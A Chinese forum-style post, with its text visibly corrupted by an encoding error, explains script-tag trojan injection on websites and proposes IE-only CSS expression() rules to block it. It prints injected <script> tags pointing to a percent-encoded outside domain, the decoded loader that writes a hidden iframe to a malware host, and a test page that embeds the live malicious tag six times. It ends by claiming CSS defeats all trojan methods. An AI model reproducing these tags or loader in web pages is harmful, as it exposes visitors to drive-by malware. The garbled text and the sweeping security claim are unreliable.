| 還是掛馬問(wèn)題,這段時(shí)間,我漸漸感到壓力,頭大,通過(guò)QQ或MSN加我的人越來(lái)越多,我最近自己的工作本來(lái)就忙得不亦樂(lè )乎。哎,想想,還是要抽空來(lái)來(lái)幫幫大家。 前不久《http://bbs.blueidea.com/thread-2818052-1-1.html一行代碼解決iframe掛馬(包含服務(wù)器端注入、客戶(hù)端ARP注入等)》得到了很多朋友的認可,這確實(shí)是個(gè)避避風(fēng)雨的好辦法??涩F在掛網(wǎng)馬的方式真如我所料地改變了,現在流行掛<script>木馬,汗了,看了幾個(gè)網(wǎng)友的網(wǎng)站都被這樣了——頁(yè)面的頂部或底部加上了: 注意,以下地址含有木馬,請不要輕易訪(fǎng)問(wèn): <script src=http://%76%63%63%64%2E%63%6E></script> <script src=http://%76%63%63%64%2E%63%6E></script> <script src=http://%76%63%63%64%2E%63%6E></script> <script src=http://%76%63%63%64%2E%63%6E></script> <script src=http://%76%63%63%64%2E%63%6E></script> <script src=http://%76%63%63%64%2E%63%6E></script> <script src=http://%76%63%63%64%2E%63%6E></script> <script src=http://%76%63%63%64%2E%63%6E></script> 汗死,一連插入了N個(gè)一樣的<script>標記。偶的電腦什么補丁都打了,直接訪(fǎng)問(wèn)這個(gè)http://%76%63%63%64%2E%63%6E(或直接使用迅雷下載),額~ 現形了: document.write("<div style='display:none'>") document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>") document.write("</div>") 又用迅雷下載http://a.158dm.com/b1.htm這個(gè)文件,一看,亂七八糟的JS編碼,汗,不過(guò)找到了一個(gè)類(lèi)似QQ號的數字,直接加加看,汗,然后是專(zhuān)業(yè)提供網(wǎng)馬的組織,哎,什么世道。還收費蠻高滴呢! ... var Kfqq, Qqs="784378237"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs; (...略)(下面還有N個(gè)統計的JS代碼) 針對上面的情況,我也不能白白瞧著(zhù)不管,想想辦法吧,兄弟。喝了碗綠豆粥,糖放得蠻多的,好喝。辦法想到了。稍微分析就得出了答案。大家來(lái)看看,<script>木馬的特點(diǎn)是什么: <script src=http://%76%63%63%64%2E%63%6E></script> 對了,script木馬的src一般都是外域的,也就是src是以http打頭的,如果是自己網(wǎng)站的script一般都不用加上http;再看看木馬的原形,里面還是輸出的iframe、JS代碼或是其他<object>代碼,不管這么多,來(lái)多少殺多少。 來(lái)跟我寫(xiě)CSS,一一搞定它們,我寫(xiě)了5種不同的方案,大家來(lái)測試一下哈: 解決方案1: iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*這行代碼是解決掛IFRAME木馬的哦*/ script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');} 原理:將<script>標記的src拿出來(lái)轉為小寫(xiě),再看是不是以“http”開(kāi)頭的外域JS腳本文件,如果是,則頁(yè)面內容清空并寫(xiě)出“木馬被成功隔離!”。反之正常顯示。 缺點(diǎn):訪(fǎng)客無(wú)法看到被感染了<script>木馬的頁(yè)面。 解決方案2: iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');} script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');} 原理:將外域的JS文件的document.write()使用document.close()強制關(guān)閉。木馬內容還沒(méi)有來(lái)得及寫(xiě)完,只有部分被強制緩存輸出了,剩下的不會(huì )再寫(xiě)了。 解決方案3: iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');} script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');} 原理:同到外域的JS文件,立即調用IE私有的execCommand方法來(lái)停止頁(yè)面所有請求,所以接下來(lái)的外域JS文件也被強制停止下載了。就像我們點(diǎn)了瀏覽器的“停止”按鈕一樣??磥?lái)這是JS模擬IE停止按鈕的一種方法。 解決方案4: iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');} script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');} 原理:將外域的JS文件的src重寫(xiě)成本地IE404錯誤頁(yè)面的地址,這樣,外域的JS代碼不會(huì )下載。 解決方案5: iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');} script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木馬被成功隔離!'):''));} 第五種方案的頁(yè)面HTML源代碼<script>中要加入以"lh"為前綴的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 以下頁(yè)面代碼里含有一個(gè)木馬地址,而且木馬在頁(yè)面里重復了6次,大家分別用我上面的不同方案測試一下,看看我的研究如何?。ù藴y試有一定的危險性,請務(wù)必打好所有補丁再測試) <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 其中1.js是自己本站的:<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" c /> <title>讓JS木馬的進(jìn)程迅速中止的CSS代碼</title> <style type="text/css" id="LinrStudio"> /*<![CDATA[*/ iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');} script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');} /* 以后請在此關(guān)注最新木馬處理方法:http://www.nihaoku.cn/ff/api.htm */ /*]]>*/ </style> </head> <body> <script type="text/javascript" src="1.js"></script> <script src=http://%76%63%63%64%2E%63%6E></script> <script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script> <script src=http://%76%63%63%64%2E%63%6E></script> 我是頁(yè)面本身的1 <script src=http://%76%63%63%64%2E%63%6E></script> 我是頁(yè)面本身的2 <script src=http://%76%63%63%64%2E%63%6E></script> 我是頁(yè)面本身的3 <script src=http://%76%63%63%64%2E%63%6E></script> </body> </html> document.write("我是本站的JS文件"); document.write("<img src='http://www.baidu.com/images/logo.gif' />"); 我的測試環(huán)境是: Windows XP SP2 和windows Vista SP1 IE6/IE7/IE8 已全部打好補丁。 綜上所述,所有目前的掛馬方式全都破解了,用CSS就可以解決所有木馬問(wèn)題,訪(fǎng)客不會(huì )再輕易地中毒了。 |
聯(lián)系客服